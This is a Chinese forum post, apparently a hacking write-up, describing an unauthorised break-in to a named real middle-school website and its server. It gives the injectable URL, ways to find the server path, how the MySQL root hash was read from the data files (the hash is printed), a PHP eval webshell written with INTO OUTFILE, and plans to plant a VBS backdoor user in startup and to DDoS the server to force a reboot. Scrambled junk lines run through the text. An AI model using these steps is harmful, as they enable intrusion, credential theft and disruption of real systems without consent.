友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
* ^0 S( j) Q6 C, A9 D
6 l% M7 S6 w' S( a6 }7 b% N/ O
0 ]  v% b6 ~' |% G0 U& R  r: g
+ r5 x; L- P% x6 C3 v- N常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
3 m/ A7 y) F. m
9 T$ ^7 U$ z" M' J9 _; q那么想可以直接写入shell ，getshell有几个条件：
7 B  N0 p# Z& x! W: y* ]& Z$ S: u0 Q

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
0 v. \% V, [& \6 R3 H% m
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
+ m- K. ~' t) ~8 d2 v! r$ v" e3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
* f0 }  B# Q, @' C# H5./phpmyadmin/libraries/select_lang.lib.php  
/ w5 T7 v0 D1 n# y6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  

均不行...........................
& O7 u0 k6 q6 R8 `
" v+ C  S6 `, p2 A2 }1 Q6 Y% U9 a3 E御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
! S! m, v9 N" \7 z% `
" x1 g( S) O; P" `; a权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
! h, E  {1 f7 n' A' V# }+ L! p6 U
. Z4 m% E! `2 v* P6 w9 @4 s默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
. M/ U% u1 M) N" M8 D0 z$ E
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

. e- ?7 s: F, `% K/ Y自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
+ l. F+ e6 ^0 T' [
成功读到root密码：
8 P( |0 |5 N; E% H! }
/ ~1 d+ A7 k- }6 d% A  F; D( q17---- r(0072)
18---- o(006f)
, H1 ~; f$ d9 c+ g4 w& M) ]19---- o(006f)
+ o+ m! p9 |! T) g, s, o5 H20---- t(0074)
21---- *(002a)
22---- 8(0038)
23---- 2(0032)
24---- E(0045)
7 n* a. j. A  r9 _2 E7 g; I* x25---- 1(0031)
# s2 F$ U2 c& N% |! B- M3 C26---- C(0043)
27---- 5(0035)
28---- 8(0038)
( R8 _& D4 F  a# N0 w29---- 2(0032)
30---- 8(0038)
& t$ D( V6 W6 b; I( w31---- A(0041)
32---- 9(0039)
33---- B(0042)
34---- 5(0035)
35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
  w) x- K5 w5 c: |39---- 9(0039)
40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
6 L! P# N$ B" g9 v, L; N$ Q46---- 8(0038)
% q5 I% [/ w8 V* @2 n7 R: X5 a47---- F(0046)
48---- F(0046)
49---- 4(0034)
50---- F(0046)
51---- 0(0030)
2 S  P* I& o# l6 G7 P7 `& R( W! ^52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
56---- A(0041)
& L1 w; I) \3 X- s- f2 c9 @1 \57---- B(0042)
58---- *(0044)
59---- *(0035)
60---- *(0041)
61---- *0032)

- I5 [% e5 V  }+ a1 o解密后成功登陆phpmyamin
                          
9 `  H2 U! S! ~4 C
7 G$ v$ M( M4 C* C                             
: i1 P1 a* u' m) M4 y0 |
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
. L" R8 U/ x' [/ }9 W
7 o, V  K8 H3 d) V4 N; z成功执行，拿下shell，菜刀连接：

0 e3 I  B& E; |  s服务器不支持asp,aspx,php提权无果...................

/ Q4 T; d1 I5 d" V$ T但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
3 g( ]" u' L& X* I$ W

服务器上已经有个隐藏帐号了

别名     administrators
8 Q' G% @8 J; G注释     管理员对计算机/域有不受限制的完全访问权

& X+ r: F, p% B8 F  E; ?

成员

-------------------------------------------------------------------------------
% x2 n1 I: V, i# P8 m& i. fadmin
% E7 b; o, f  l1 wAdministrator
slipper$
sqluser
命令成功完成。
7 o, W+ a: s% k: t. B# ?3 e. }) u
* q2 y% s  [& M; n  S" ?服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
# y% m, K1 C9 I* a: k+ e
ddos服务器重启，不然就只能坐等服务器重启了...............................
) a: O. b9 _6 A+ n! y7 P/ m* {5 v
' H. x3 @1 _: F2 D% o      

angel